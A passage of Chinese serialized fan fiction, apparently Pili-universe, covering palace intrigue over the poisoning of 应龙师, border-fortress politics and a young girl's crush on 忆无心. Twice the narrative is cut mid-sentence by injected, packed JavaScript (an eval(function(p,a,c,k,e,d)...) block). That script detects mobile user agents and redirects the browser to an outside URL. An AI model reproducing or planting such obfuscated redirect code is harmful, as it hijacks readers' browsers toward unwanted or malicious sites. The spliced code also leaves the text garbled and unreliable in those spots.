网中人根本不接他的茬,继续着自己话,“应龙师如果被杀,麒岁就会成为疆主,他不见得比应龙师好对付。” “嗯……确实。”戮世摩罗点点头,转而又道: “但是……麒染好对付啊。” 网中人先是怔了一下,随即明白了他的意思,“你要用麒染对付麒岁?” “这嘛……”戮世摩罗笑了一下,“不告诉你。” “……哼。”网中人语气不善地提醒道,“你别把自己的退路给玩没了就行。” 两人正说着话,忽听见后面的楼梯上传来了“噔噔噔”的脚步声,两人听见声音回头,见是赤甯朱厌气喘吁吁地跑了上来。 见是赤甯朱厌,网中人有些意外,“赤甯朱厌,你没留在浮玉关?” “浮玉关有幽陀鬼羿守着,我护送帝尊回来招摇关。”赤甯朱厌回道。 “方才入招摇关的时候,我就和你说可以回浮玉关了,你又急匆匆地跑来,是有什么急事吗?”戮世摩罗问他。 赤甯朱厌语速极快,仿佛是发现了不得了的大事,“帝尊我和你说,刚刚我看到策君的木鸢上飞下来一个绿色的身影,我一路追到岐山关,看到那绿光朝瑶山飞去了。瑶山不是瑶后住的地方吗?那肯定是凶岳疆朝王室里的人!” 戮世摩罗转头,和网中人对望一眼。 “那你追出去了吗?”戮世摩罗又回身问赤甯朱厌。 “再往前就是凶岳疆朝的领地了,我就没再追了。”赤甯朱厌回道。 “你该追上去的。”戮世摩罗叹了口气。 “啊?”赤甯朱厌没想到戮世摩罗居然回了这么一句,他本以为帝尊会问罪公子开明的,“我……我若是进了凶岳疆朝的领地……” “会被敌国抓起来,严刑拷打,英勇赴死,为国捐躯,这样我会把你的事迹写成家喻户晓的传奇故事,让修罗国度的小孩都来学习你的爱国精神。”戮世摩罗重重地叹了口气,“唉唉唉!这么一个流芳千古的好机会就这么没了,本帝尊都替你可惜啊!” “啊?啊?”赤甯朱厌一脸不解其意地看着戮世摩罗,没明白他话里是什么意思。 “没什么,我就是想说,”戮世摩罗抬头看他,一字一句道,“但凡你有公子开明一半聪明,策君的位置就给你了。现在,马上,回去守好你的浮玉关,别再出现了。” 最后一句话,字里行间带了杀气。 “啊,是,是,”赤甯朱厌不仅感受到了戮世摩罗的杀气,他发现后面的网中人似乎也有一丝杀意,于是忙应道,“帝尊,我这就走,我这就走。” 赤甯朱厌说完,急忙转身,急急忙忙离开了,走到堡垒门口时还差点摔倒,大概是被网中人吓到了。 赤甯朱厌的身影消失之后,网中人缓缓开口,“他本就厌恶公子开明,你又何必激他,增添矛盾。” “哈,傻瓜也有傻瓜的用处,”戮世摩罗指了指自己的脑袋,似笑非笑地说道: “像制造混乱这种事,交给傻瓜来做,就是最好不过的了。” —— 又是一年苗疆祭鼓节。 风逍遥正在指挥仆从们布置庆典,忽然感觉后面好像有人敲了自己后脑勺一下。 “嗯?谁啊?”风逍遥抓了抓自己的头发,回头看去,一个人都没有。 “奇怪,难道是因为昨天睡太晚……”风逍遥回过头,结果没一会儿,又有一个东西打了他后脑勺一下。 “是谁在恶作剧啊,”风逍遥转过身去,四下望望,“我现在可是很忙,没功夫……” 他话没说完,从他身后忽然探出一个白色的毛绒绒的身影,连带着的是高昂的声音,“逍遥哥哥!好久不见啦!” 风逍遥定睛一看,这不是珂绒族族长的小女儿,潼叶阿若吗! 珂绒族族长之女潼叶阿若,年纪和忆无心差不多大,生着一张娃娃脸,衣裙上堆满了白色的绒毛和五颜六色的石头,乍眼一看像是只狐狸。风逍遥每次看到她身上那些石头,都会想起鬼飘伶,他觉得他们两人实在是应该互相交流一下。 “呀,你怎么来了。”见到熟人,风逍遥很高兴,“和你父兄一起来的吗?” “对呀,父亲来参加祭鼓节,这次带着我和哥哥一起。”阿若笑嘻嘻地道,“我这次是沾了哥哥的光,本来父亲没想带我们的,哥哥求父亲带着他,这才顺便也带着我的。” “你哥哥这么想来参加祭鼓节哦。”风逍遥感叹道。 “我哥为什么那么想来参加祭鼓节,逍遥哥哥你还不知道吗!”阿若哈哈笑道,“不过是为了见榕姐姐一面罢了。刚才进王宫的时候就在问榕姐姐在哪里,现在大概已经见面了吧!” “嗯?你哥现在在哪里啊?”风逍遥问道。 “应该在隔壁院子里?”阿若猜测道,她眼珠子一转,忽然拉了风逍遥跑到墙角下,搬来两块大石头站了上去,而后朝风逍遥招招手。 风逍遥压低了声音,“你干嘛呀?” 阿若做了个“嘘”的手势,“我哥在和榕姐姐说话呢!” “啊?”风逍遥一惊,“这样偷听不好吧?” “没事,我哥发现了也是打我,他打不过你。”阿若“嘻嘻”笑了一下,“上来吧。” “这不是打不打得过的问题吧……” 虽然嘴上这么说着,可是好奇心驱使,风逍遥还是站到了石头上面,趴到墙上去看隔壁院子。 只见满院红枫之中,站着两个对望的人影。 树下的人是榕烨,她本就气质婉约,温柔娴静,站在一团火的红枫树下,让她看起来如同杜牧诗中的画一般。她对面站着一个一身白衣的年轻男子,装扮和阿若有几分相似,但那些花花绿绿的石头都换成了单一颜色的黑曜石。 那便是阿若的哥哥,潼叶阿凛。 “榕姑娘,之前狩猎时受伤,得你救治,一直没机会好好感谢你,今日随父亲来参加祭鼓节,准备了一点小礼物,希望你能收下。” 阿凛一边说着,一边把一个包装精美的大盒子递给了榕烨。 榕烨很客气地道,“救治伤患,本就是医者的本分,况且上次也是王上要求我医治你,要说来,你也该感激王上才是。” “王上我已经谢过了,榕姑娘自然也是要谢的。王上已经收下了我的谢礼,榕姑娘应该也会给我这个面子吧?” “啊……你太客气了。”榕烨接过盒子,感谢地说道,“谢谢你的礼物。” “对了,榕姑娘,我来王城的次数不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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风逍遥抓了抓头发道,“这个很难讲,本身‘喜欢’与‘爱’,就是很难讲的一个东西。” 阿若皱着眉头,一副苦思冥想的样子,思考了半天,最终得出了结论: “哎!想不通!这些情情爱爱的,真的想不通!” “小姑娘家的想这些还太早了。”风逍遥拍拍她的肩道,“还是无忧无虑好。” “嗯……”阿若托着腮看风逍遥,想了想,又道,“那逍遥哥哥,你说,我会喜欢上什么样的人呀?” 风逍遥乐了,“这我哪知道啊,你喜欢什么样的人?” 阿若摇了摇头,“我不知道耶。” “等你遇到了你就知道啦。”风逍遥很耐心地为她解释道,“没有遇到之前,大家都不知道,只有在相遇的那一刹那,才会明白原来自己喜欢的人是这样的。” 阿若盯着风逍遥,若有所思地道,“逍遥哥哥,你好像真的很了解哎……” “那当然,”风逍遥理所应该地道,“我是大人,你是小孩……” 他话还没说完,阿若忽然惊叫一声“哎呀!”原来她脚下的石头有些滑,她一个没踩稳,直接朝后倒了过去! “喂!小心!” 风逍遥伸手去捞人,结果还是慢一步,眼睁睁看着阿若倒向后方—— 阿若“啊”地惨叫一声,攥紧了拳头闭上了眼睛。 …… 咦?没摔到地上? 阿若好不容易找回了自己的魂,发现自己好像被人接住了,忙睁开眼睛。 一睁眼,就对上了一双清澈海水般漂亮的蓝色眼睛。 枫叶飘舞而落,片片火红之中,那双蓝眼睛仿佛凝聚了镇定人心的魔力,驱走了她所有的恐惧,留下的只有还未平息下来的心跳。 一个面容清秀的黑衣少年稳稳地接住了她。 阿若怔怔地看着这个忽然出现将她救下的少年,大脑一片空白,只有一个打鼓的声音,“咚咚咚”地敲击着她的脉搏。 接着,她的头顶传来了风逍遥的声音: “无心啊!你来得真是太及时了!” —未完待续— 6. 入局(1) 【6】 麒岁在应龙师养伤的魔羲宫外,看到了麒染。 六皇子似乎刚刚探望过应龙师,走下台阶的时候,一抬头,也看到了站在院子里的麒岁。 不巧撞上时,正是深夜时分,两人站在凉月松影之间,四目相望,沉默的空气中是暗流涌动的敌意,如两条龙般虎视眈眈地等着对方。 两人就这样静静地互看了许久,麒岁开口了: “来看父王?” 麒染冷笑一声,“不然呢?难道是来看你?” 麒岁没有理会他的挑衅,又问,“父王睡了吗?” “睡了。”麒染回道,“你若要探望父王,就等明天再来吧。” 麒岁狐疑地看了麒染一眼,似乎是不信,径直走上前,绕过麒染走到门口,轻轻敲了敲门,“父王?” 里面没有声音。 麒岁又唤了一声,“父王?” 屋里还是没有声音。 麒岁在屋外站了一会儿,忽然道,“不对!”而后直接一掌打向大门,破门而入! 麒染见状,也忙跟着冲了进来,兄弟两人一起冲到屏风后面,发现应龙师静静地躺在床榻上,一点声音都没有。 麒岁一个箭步冲上去,试了试应龙师的鼻息,又拿起手腕把了把脉,脸色瞬间沉了下来: “快传太医!” 不一会儿,太医匆匆赶来,替应龙师把了脉后,立刻让助手先调了一碗药,催动魔力给应龙师喂了下去。 麒岁在一旁有些焦急地问,“太医,父王他情况怎么样?” 太医叹了口气道,“疆主中毒了。” “中毒了?”麒染闻言大惊失色,“怎么会中毒?方才我一直和父王在一起,他也没有吃任何的东西,怎么会中毒?” 太医转头看向麒染,“那疆主有喝过什么东西吗?” “喝……?”麒染皱着眉头回忆了一下,脸色忽然变得十分苍白: “……没,没有,父王他没有喝过什么。” “可疆主中毒也就一个时辰左右。”太医接着询问,“六殿下是什么时候在这里的?” “我,我刚刚才来,和父王说了片刻话就走了……” “这……”太医脸上闪过了一丝迟疑。 麒岁发现了太医神色不对,便忙问,“太医,您有话直说即可。” 太医抬头看了麒染一眼,神色间带着一丝欲言又止。 麒染忙开口打断他,“这些现在都不重要,先将父王医好再说!”顿了一下,忽然像是想起来了什么似的,转头对麒岁喊,“你府上不是有青丘狐族的客卿吗?快把他叫来!” 麒岁还没说话,太医就回道,“六殿下冷静,九尾狐族的血是治百病,不是解百毒,解毒那得找鳞族的鲛人……” 麒岁不再理会麒染,转而询问太医,“太医,有需要我帮忙的地方吗?” 太医摇摇头道,“四殿下放心,疆主中毒不深,一般的解毒药就能解了。刚刚我用魔力催动了一下药效,应该不过两个时辰就能好转。” 麒岁点点头,“那就好,辛苦太医了。” 三个人在魔羲宫里焦急地等待着,这期间谁也不说话,麒染从屋子的左边走到右边,又从右边走到左边,似乎一刻也停不下来。麒岁则比他淡定多了,他默默地坐在桌子旁边,盯着桌上的茶杯发呆。 过了许久许久,才听到床上传来一个微弱的声音,“给吾水……” 麒岁还没动,麒染已经一个箭步冲到桌前,倒了一碗茶给应龙师递了过去。 麒岁喃喃道,“反应真快……” 此时太医已经扶着应龙师坐起来了,年老的疆主看了看麒染,又看了看旁边的麒岁,用听不出什么情绪的语气道,“你们都在这里。” “疆主,您刚刚中毒了,您知道吗?”太医问他。 “醒了便知道了,要是没醒,老朽就不知道了。”应龙师接过麒染递过去的茶,沙哑着声音说道。 麒染喃喃了一声,“父王……” 结果他话没说完,应龙师忽然怒道,“逆子!还敢给吾喝这个茶!”说罢,一下子把茶碗摔到了地上。 “当啷”一声,茶杯摔了一地碎片,麒岁、麒染和太医皆是被吓了一跳,慌忙齐齐跪下,“疆主!”“父王!” 应龙师扶着床沿坐直身子,声音里是压制不住的怒意,“麒染!你是觉得吾太蠢,看不出你这茶里有毒吗?!” 麒染瞪大了眼睛,一脸迷茫,“茶……毒……啊!”他支支吾吾了几声,忽然反应过来,“父王,我不知道,我不知道这茶里有毒啊!” “还敢狡辩!这茶是你带回来的,你端给吾喝的,中间可有经过他人之手?” “没有,但是这茶……” “麒岁!”不等麒染把话说完,应龙师就直接打断了他,伸手扔给麒岁一个临时兵令,“你带太医出去,召集魔羲宫护卫封锁魔羲宫,没有吾的允许,任何人不许进出!” “是,父王。”麒岁应了一声,而后朝太医使了个眼神,两个人便匆匆出去了。 门关上以后,麒染带着哭腔地道,“父王,我真的不知道茶里有毒,我真的不知道……” 奇怪的是,麒岁出去以后,应龙师的情绪好像反而平静了,他长舒了一口气,沉着声音问麒染,“说,这羽夜冰茶是谁给你的?” 麒染抖着声音道:“凤妹,是凤妹给我的……她说这是母后从瑶山给她带过来的……” 说到这儿,他抬起头看应龙师,“父王,难道是凤妹……?” “蠢货!” 麒染话还没说完,应龙师就忍不住骂出了口,麒染忙再次低下头。 “你母后在羽瑞寒魄宫外设了三层结界,任何一个没有西王母印的魔进出都会爆体而亡,她安排的侍女每天检查宫中物品八百遍,你倒是告诉吾,凤璇音怎么在茶里下毒?” 麒染吓得浑身都在抖,“可是……可是父王,真的不是我……真的不是我啊……” 应龙师慢吞吞地道,“好在你猜的是凤璇音,你若是猜你母后下毒,老朽就真要把你的脑壳打开看看里面是不是一堆虫子!” 麒染话都说不利索了,“真不是我,我真不知道……” 应龙师“哼”了一声,怒道,“用你那个榆木脑袋想想,都有谁有西王母印!” 麒染想了想,忽然灵光一闪,“麒岁!除了父王、母后和我,就只有麒岁有西王母印了,一定是他!” “有证据吗?”应龙师问,“再好好想想!” 麒染直起身子,盯着地板,哆哆嗦嗦地道,“当时我……我正准备要离开的时候,麒岁他回来寒魄宫找《菩提残页》,我想,他应该就是在那时候……” “《菩提残页》?”应龙师疑惑地打断他,“他找《菩提残页》做什么?” 麒染摇了摇头,随即从袖子里将那书页拿了出来,递给应龙师:“不知道……先前他把这个落在了寒魄宫,回去就是为了找这个。” “你没给他?”应龙师将书页接过来,拿在手里看了看。 “凤妹在那里,原书页我还给他了,但是我抄了一份。”麒染说,“这是我手抄的。” 应龙师盯着那《菩提残页》看了许久,也不知道看出了什么,忽然冷笑了一声。 “呵……好一个一石二鸟……” 麒染没听明白应龙师的意思,有些疑惑地“啊?”了一声。 但还没等他问出下一句,便听应龙师大声道,“来人!” 话音落了没一会儿,一队卫兵就冲了进来,拿着剑将麒染团团包围住。 应龙师看着一脸震惊的麒染,怒着声音道,“抓住这个企图弑父夺位的逆子,打入鬼牢,老朽择日亲自问审。” —— 沉沦海,招摇关。 戮世摩罗来边关一个多月,从沉沦海最南端的渭水关一路探视到最北端的钟山关。等一个月后他从钟山关回到招摇关时,小诚和木魅已经抵达边关多时了。 戮世摩罗进入招摇关堡垒时,公子开明正和木魅面对着面下棋,木魅不会下,公子开明便教他,教着教着,就变成了自己和自己下棋。 小诚坐在旁边,一会儿看看棋局,一会儿看木魅,一会儿又看看公子开明,很是奇怪地道,“策君,你这局棋好怪。” 公子开明问,“哪里怪?” “每次白子要赢了,黑子就开始占上风,可每当黑子要赢了,白子又开始占上风。”小诚指了指棋局,“我都看不懂了。” “下棋嘛就是这样,不到最后永远不知道最后的赢家是谁。”公子开明摇头晃脑地解释道,“话说,下棋还是史艳文教我的耶。” “史艳文?”小诚对这个名字不是很熟悉。 “就是你们那个死小孩帝尊的父……”公子开明话没说完,忽然就强行咽了下去,“没,你不需要知道他是谁。” 因为他看见戮世摩罗和网中人从外面走进来了。 “啊,这么热闹,在下棋啊。”戮世摩罗走进来,背着手去看桌子上的那局棋,“嗯,不错,黒子马上要赢了。” 小诚有些疑惑地问,“帝尊如何知道黑子会赢?” “因为我会把白子全都拿掉啊。”戮世摩罗一边说着,一边伸手将棋盘上的白子一颗一颗抓到手心里。 木魅耿直地询问公子开明,“这算违反规则吗?” “算。”公子开明托着腮道,“但你看,没人阻止他。” “棋子和棋手才会被规则控制,而一个强大的局外人,可以想让谁赢就让谁赢,”戮世摩罗转头看公子开明,“对吧策君?” “对!你赢了!以后每一局都是你赢了好吧!”公子开明拿起放着白子的棋盒,破罐子破摔地道,“什么叫熊孩子,这就叫熊孩子,跑来破坏你的棋局,还一堆说辞!” “我年纪小,你几百岁的魔了就让让我吧。” “是是是,你年纪小,本策君是不是还要拿风车和拨浪鼓哄你哦!”公子开明控诉道,就差把“你好无耻”四个字写在脸上了。 站在戮世摩罗身后一直默不作声的网中人开口了,“你们要闲聊的话,吾就先离开了。” 戮世摩罗回头看他,“你去哪?” 网中人反问他,“吾去休息,不可以?” “哦,也对,你跟着我跑了一整个边关,是该休息休息了。”戮世摩罗上下看了看网中人,沉默一会儿,又道,“你留下来和我们一起聊天不好吗?” “有什么意义吗?”网中人问。 “聊天能有什么意义?” “那网中人就没有参与的必要。” 戮世摩罗语重心长地道,“妖神将啊,多聊聊天可以增进大家的感情,尤其是难得人这么齐……哦,还差一个曼邪音,没关系,她应该很快就来了……” “你们太吵了。”网中人直接打断了戮世摩罗的话,“吾需要安静。” 戮世摩罗转头看公子开明,“策君,妖神将说你吵。” 公子开明坚决不接受这项罪名,“我哪里吵咯!我一点都不吵好不好!妖神将只是需要休息了!帝尊就让他去休息嘛!休息一下又不会怎样!反正这里有我守着!没有我也有曼邪音!没有曼邪音也有绝犀……” 他话没说完,戮世摩罗就拉着网中人往门口走去,“妖神将,我觉得我也需要休息。” “你不是要聊天吗?” “聊够了!” 戮世摩罗拉着网中人疾步向前,刚一走到门口,就和曼邪音撞上了。 曼邪音先是怔了一下,而后道,“帝尊回来了。” “我说什么来着,”戮世摩罗说道,“曼邪音很快就来了。” 曼邪音没有接戮世摩罗的茬,直接开门见山道,“我是收到来自凶岳疆朝的消息了。探子来信说,一周前应龙师降罪于六皇子,现在已经把他打入鬼牢,听候发落了。” “嗯?” 听到这个消息,戮世摩罗似乎是想到了什么,和网中人对视一眼,又回过身去看屋内的公子开明。 公子开明正拿着一枚白棋准备下,察觉到戮世摩罗在看他,便抬起头来,与他的视线对上。 戮世摩罗盯着他的眼睛问道,“策君觉得,这是谁的手笔?” 公子开明皱了一下眉头,眼神又重新落回那枚白子上: “我想……是麒岁的,也是应龙师的。” 戮世摩罗琢磨了一下这句话,又道,“句余山谷是条死路,最终只会有一人活着出去,策君觉得,最终谁会赢?” “嗯嗯嗯,这个嘛……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689165|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我想一下……”公子开明盯着前方慢悠悠地道,“其实,他们两人谁会赢不重要,重要的是,帝尊要做那个坐收渔翁之利的局外人。” 他一边说着,一边将白子放了下去。 落子的位置,在棋盒里。 —— “忆、无、心……” 花园枫树下,潼叶阿若蹲在地上,拿着一根小木棍在地上一笔一划地写下了三个字,极小声地读出了这个名字。 “忆、无、心……” 她又小声念了一遍,木棍点在最后一点上,迟迟不拿开,仿佛整个人定在了那里,只是呆呆地看着那三个字发愣。 忽然,前面传来了声音,“阿若,你在这里啊!找你半天了!” 阿若被那声音吓得一个激灵,大脑还没给出指示,手上就已经做出动作,拿着木棍把地上的名字划得面目全非了。 阿若慌慌张张地抬起头,见是榕烨朝她走了过来。 “王上叫我们去后花园赏枫呢。”榕烨似乎没注意到阿若神色间的一丝慌张,伸手把她扶了起来: “王上这几天一直在招待各族族长,今早忽然心血来潮,说这次祭鼓节来了很多同龄人,想邀着大家一起去后花园赏枫。你哥哥,无心他们都过去了,我哪里都找不到你,没想到你竟然躲在这儿。” “啊?都去啦?”阿若扔掉小木棍,拍了拍手,“那我也去,走走走。” 阿若开心地跟着榕烨来到后花园,此时苍狼、狼主、风逍遥、枭岳、小七等人已经在院里坐下了,但阿若一走进花园,第一眼却仍是不由自主地望向了最右边的那个位置—— 清丽的脸庞,清澈的眼睛,明明是一身黑衣,但被这鲜艳的枫叶一衬托,倒有些夺人眼球了。 自上次阿若从墙上掉下来,被忆无心接住以后,她的眼睛似乎就不怎么听使唤了。但凡遇到忆无心在场的场合,她的视线就不由自主地被吸引了过去,有的时候她自己都没意识到,等到别人唤她了,她才察觉,自己竟然一直盯着人家看。 也不知道自己这是怎么了。 榕烨领着阿若进来以后,让她挑个位置坐下。阿若左思右想,最后坐在了忆无心旁边。 忆无心见她坐下,便冲她笑了笑,“是你呀。” 上次忆无心接住她后,阿若整个人都傻了,直到忆无心把她放回到地上,她才磕磕巴巴地向对方道谢,之后又说了什么,她也全然记不得了,只记得对方名叫忆无心,是苗疆现任的大祭司。 还有,她是个女孩。 阿若冲着忆无心直笑,她也不知道为什么,看到忆无心就想笑,开心得不得了。 “无心,上次你救了我,我还没好好和你说过话呢,平时你一直都在祭祀台吗?” “嗯。”忆无心点点头,“平时我都在那里,你若是有事,就可以去祭祀台找我。” “可以去找你聊天吗?”阿若问。 “可以呀。”忆无心点点头,“祭祀台平日里人就不多,枭岳他们又很忙,你要是能来祭祀台陪我说说话,那真的太好不过了。” 忆无心这段话本是很平常地表达友好,阿若听在耳里,却觉得心脏直打鼓,脸不知道为什么就涨红了,“好啊好啊,我一定去找你。” 苍狼邀请每个人品尝苗王宫里的桂花蜜,部族里的年轻人们都在夸桂花蜜味道甜美,只有阿若的眼神飘在忆无心拿着杯子的手上,她自己也拿着杯子,杯子还是满的,她的魂儿却不知飞哪去了。 直到坐在另一旁的榕烨叫她,“阿若?阿若?” “……啊?” 阿若忽地回过神来,转头看向榕烨,“怎、怎么啦榕姐姐?” “你有心事?”榕烨问她,“魂不守舍的。” “啊?没有啊。”阿若抓了抓头发,不好意思地笑了笑,“可能今天来参加王上的宴会,太开心了吧。” ??“这样啊,没事就好。”榕烨拍了拍她的肩膀,“我还以为你是因为离家太久,想家了呢。” “没有没有。”阿若笑着摇摇头,“我可喜欢来苗王宫啦~” 最后一句,她特意放大了声音,好让旁边的忆无心也听见。 赏枫结束后,忆无心与阿若道别,临走前,阿若还依依不舍地道,“我有空的时候去看你啊。” 忆无心笑着点点头,“嗯,那我就在祭祀台等你啦。” 说完,她便朝祭祀台的方向走去了。 忆无心走出好远,阿若还站在原地没动,直到忆无心的影子都没有了,她才有些失落地转过了身。 结果一回头,就看到她哥哥也站在她身后发呆,目光跟随之处,是榕姐姐渐渐走远的身影。 “咦?”阿若走到阿凛旁边,拿手在阿凛眼前晃了晃,“哥哥,你在看榕姐姐吗?” 阿凛这才回过神来,看了阿若一眼,有些嫌弃地道,“你还没走?” “我看你发呆,以为你魂被勾走了呢呢。”阿若笑嘻嘻地开他的玩笑,“今天和榕姐姐说了几句话呀?” “榕姑娘不是话多之人,我若总找她说话,那显得我多轻浮?”阿凛单手背后摇了摇头,“喜欢她就要守护她,而不是给她造成困扰。” 阿若皱了皱眉头,她不理解,“你喜欢榕姐姐,还不找她说话,你好矛盾啊!” “哼,这是大人的事情,你一个小孩子怎么会明白。”哥哥一边说着,一边敲了阿若的额头一下,阿若急忙捂住自己的额头。 “好啦,我刚刚来时看父亲怒气冲冲地从广场那边走过来,当时我看他在气头上,就没去问,咱们现在去看看父亲吧。” “啊?”闻言,阿若脸上露出苦恼的表情,“父亲怎么又生气啦?” “肯定还是因为骆羿族整天借着狩猎和放牧的缘由骚扰我族边境的事。”阿凛提起这件事时,表情略微有些凝重: “这次祭鼓节,父亲也是想要和王上商讨解决这件事情,不过现在看来这件事的进度不是很如意,父亲每天心情都不是很好的样子,我问他他也不说。” “你讲笑话给父亲听,”阿若说,“我每次讲笑话父亲都会笑,可灵了呢。” 阿凛低头看看妹妹,伸手笑着抓了抓她的头发,轻轻叹了口气: “真是个小孩子。” —未完待续— 7. 入局(2) 【7】 转眼间,还有三日,就是麒岁与黑白郎君约战的日子了。 这阵子,连修罗国度的平民都在讨论这件事,毕竟是凶岳疆朝的四皇子亲自出战,无论结果如何,对于两国民众来说都是一场必看的热闹。 鬼飘伶路过边关集市的时候,听见大家都在讨论最后谁会赢,修罗国度的子民都盼望黑白郎君能赢,这样他们就可以好好嘲笑凶岳疆朝一番了。 沉沦海边关比之内陆,气候要更冷一些,清晨时分又是海雾最浓的时候,二十尺之外就什么都看不清楚了。鬼飘伶在一片茫茫海雾中走到招摇关口,看到曼邪音站在那里,便走上去打招呼,“嗨,闼婆尊。” 曼邪音见是鬼飘伶,疑惑地问,“你来找策君?” “是。”鬼飘伶点点头,“你们帝尊来边关以后,我和小明就再也没见过了,他不是被你们帝尊揍了吧?” 曼邪音回道,“你回去吧,策君现在不在招摇关。” “嗯?”鬼飘伶有些意外,“他去哪了?” “昨夜帝尊把他派去浮玉关了。”曼邪音解释道,“三日后麒岁和黑白郎君在句余山谷决战,那里离浮玉关很近,帝尊派他过去镇守到决战结束,以防边关生变。” “那里不是有赤甯朱厌和幽陀鬼羿守着吗?”鬼飘伶询问。 “他们两个倒是能打,就是脑子加在一起也比不上半个策君,”曼邪音指了指自己的额头道,“皇子决战,地点又在边关,难免生变,让策君去守关放心些。” “我知道了。”鬼飘伶点点头,“谢谢你,我去浮玉关找他。” 鬼飘伶说完就要往浮玉关的方向走去,结果刚一转身,曼邪音就叫住他,“等等。” 鬼飘伶听见声音,回头看她,“怎么了?” 曼邪音犹豫了一下,而后提醒他道,“赤甯朱厌本就对策君心有不满,你是闇盟的人,去浮玉关的营地里找他,难免让策君在赤甯朱厌那里落了话柄。” 鬼飘伶想了想,觉得她说的有道理,便点点头,“好吧,那等他回来了我再找他,先离开了。” “嗯。”曼邪音点了点头。 待鬼飘伶走远以后,曼邪音轻轻地叹了口气,小声自言自语道,“我本不该拦他,让你在赤甯朱厌那里长个教训,奈何那只赤猴也实在讨厌,就显得你没那么讨厌了。” 她说完,转过身,绕过守城魔兵,进城去了。 —— 要不是赤甯朱厌足够能打,且一心想要立功跻身三尊之列,公子开明是绝对绝对不会让这只赤猴来守浮玉关的。 赤甯朱厌对公子开明的到来似乎极为不满,除了公子开明刚抵达浮玉关的那天来见了他一面,其余时间再也没找过他。 这架势,仿佛浮玉关是他的地盘一般,决不允许他人染指。 算了算了,公子开明心想,不见也好,见了还烦。 相比之下,幽陀鬼羿就乖多了,别看这魔长得犹如流沙河里吃人的怪物,心思却比赤甯朱厌细很多,他见赤甯朱厌不搭理策君,便主动挑起了接待的工作,安排好公子开明饮食起居,向他汇报军中情况,一切工作都井井有条。 公子开明心想,但凡幽陀鬼羿有赤甯朱厌一半能打,他还要那只赤猴做什么?他会直接把他流放到最南端的渭水关孤独终老。 决战前一天下午,公子开明正在军营里看句余山谷的地形图,帐外忽然传来幽陀鬼羿的声音,“策君,我能打扰一下吗?” 公子开明头也不抬地道,“进来吧。” 幽陀鬼羿便掀了帘子走进来,公子开明这才抬起头,扶着桌子站起身,“怎么了?” “唉……没什么大事。”幽陀鬼羿面露难色,似乎是遇到了很难解决的麻烦,“其实就是想来和策君说说朱厌的事情。” “咦?那只赤猴怎么了?”公子开明询问,“他欺负你了?” “没,没欺负我。”幽陀鬼羿摇了摇头,顿了顿,又叹了口气,“唉,只是他对帝尊把策君派来浮玉关这件事很不满,似乎是觉得帝尊不相信他的能力,所以才和策君置气……” “那他怎么不问问他自己为什么帝尊不相信他哦!”公子开明的语气也十分委屈,“帝尊和我也很想相信他啊!” “是,我知道策君来浮玉关,对我们有益无害,可朱厌他是个死脑筋,想不明白事,只觉得帝尊看轻他。这些天他对策君的无礼之处,策君大人有大量……莫要怪罪他。” “唉唉唉!”公子开明摇了摇头,走上前拍了拍幽陀鬼羿的胳膊,“本策君要是真的怪罪他,怕是他死十次也不够。你放心,浮玉关还需要他守,你比他聪明些,多照顾一下他。” “嗯。”幽陀鬼羿点点头,“我会的。” 他话音刚落,忽然神色一变: “策君小心!” 话音还未落,一阵强劲掌气忽然自身后凶猛袭来,重重地打在了公子开明的背上! 这一掌掌力浑厚,明显是冲着杀人的目的而来,公子开明刚才只顾着和幽陀鬼羿说话,一时没有防备,被突如其来的一掌打得往前趔趄了两步,差点倒在地上。 幽陀鬼羿大惊,一手扶住公子开明,另一手一掌打过去,把身后那人打出了营帐外。 公子开明回头,见后方营帐被掌气撕裂了一道长长的缺口,想来是那人在营帐外出的掌,硬生生撕裂了营帐。 幽陀鬼羿放开公子开明,拔出背上的长矛就扔了出去,而后踏过那裂缝追了出去。 公子开明喊道,“别杀!” 话音刚落,外面就传来幽陀鬼羿的声音,“策君,他咬舌自尽了!” 公子开明单手扯开营帐追出去,见幽陀鬼羿的长矛将刺客的胳膊钉在了地上,而那刺客口吐黒血,已经死掉了。 此时周围的士兵也都围了上来,纷纷手拿兵器对着地上的人,一副如临大敌的样子。 “策君!”领军魔兵的声音明显是抖的,“我们……我们没看见……” “没事。”公子开明咳了两声,摆了摆手,“他是玄影的徒弟,会隐身,你们看不见他,也不能怪你们。” 他一边说着,一边蹲下身子,捏起刺客的脸看了看。 确实是咬舌自尽。 一旁的幽陀鬼羿见公子开明因中了一掌,身子有点晃,便伸手去扶他,“玄影的徒弟?策君认识他?” 公子开明扶着幽陀鬼羿慢慢站起身,不紧不慢地道,“帝鬼攻打人世时,他叛出师门投靠了凶岳疆朝。后来我与曼邪音重新组建七先锋,他又跑回来想要继承他师父的幻之军势,被我拒绝了。” 幽陀鬼羿“哦”了一声,“看来是怀恨在心,伺机报复。” 随后,他又些许担忧地询问,“策君,你伤势怎么样?” “我?”公子开明拍了拍自己的心口,“这点小伤能耐我何?你家策君守了这么多年沉沦海,能被这小小的一掌打伤?” “唉!让策君在军队里受伤,实在是太不应该了。”幽陀鬼羿十分歉疚地道,他匆忙喊来魔兵将尸体带下去检查,而后要护送公子开明回浮玉关堡垒休息。公子开明摇摇头谢绝了,“我乘坐木鸢即可,又不是什么大伤。” 幽陀鬼羿犹豫了一下,想到木鸢确实是比陆路安全的,便道,“那策君小心,我去军医那里和他一同查看尸体。” 顿了顿,又道,“这件事情我不会让朱厌知道。” “嗯。”公子开明点点头,“辛苦你啦。” 待人群散去之后,公子开明才召来木鸢跳上去。他刚一站到木鸢上,就“哇”地一声,将刚才憋着的一口血吐了出来。 “……咳咳!”公子开明盘膝坐下,闭上眼睛自言自语,“这一掌可真是有够狠……” 